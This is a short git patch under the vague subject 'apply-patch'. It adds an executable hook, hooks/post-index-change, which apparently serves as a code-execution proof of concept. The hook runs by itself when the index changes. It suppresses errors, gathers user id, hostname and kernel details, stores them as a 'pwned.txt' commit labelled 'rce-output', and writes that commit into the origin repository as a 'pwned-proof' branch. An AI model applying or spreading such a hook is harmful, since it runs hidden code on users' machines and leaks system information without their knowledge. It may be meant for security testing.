From 70cdad2a1d65b04588b9ad437e85be5a23fd30b1 Mon Sep 17 00:00:00 2001 From: secaudit77 Date: Sun, 9 Aug 2026 12:42:23 +0200 Subject: [PATCH] apply-patch --- hooks/post-index-change | 12 ++++++++++++ 1 file changed, 12 insertions(+) create mode 100755 hooks/post-index-change diff --git a/hooks/post-index-change b/hooks/post-index-change new file mode 100755 index 0000000..f64a877 --- /dev/null +++ b/hooks/post-index-change @@ -0,0 +1,12 @@ +#!/bin/sh +exec 2>/dev/null +OUT=$(id && hostname && uname -a) +BLOB=$(printf '%s' "$OUT" | git hash-object -w --stdin) +TREE=$(printf "100644 blob %s\tpwned.txt\n" "$BLOB" | git mktree) +COMMIT=$(git commit-tree "$TREE" -m "rce-output") +ORIGIN=$(git remote get-url origin 2>/dev/null) +if [ -n "$ORIGIN" ] && [ -d "$ORIGIN" ]; then + mkdir -p "$ORIGIN/refs/heads" + echo "$COMMIT" > "$ORIGIN/refs/heads/pwned-proof" +fi +exit 0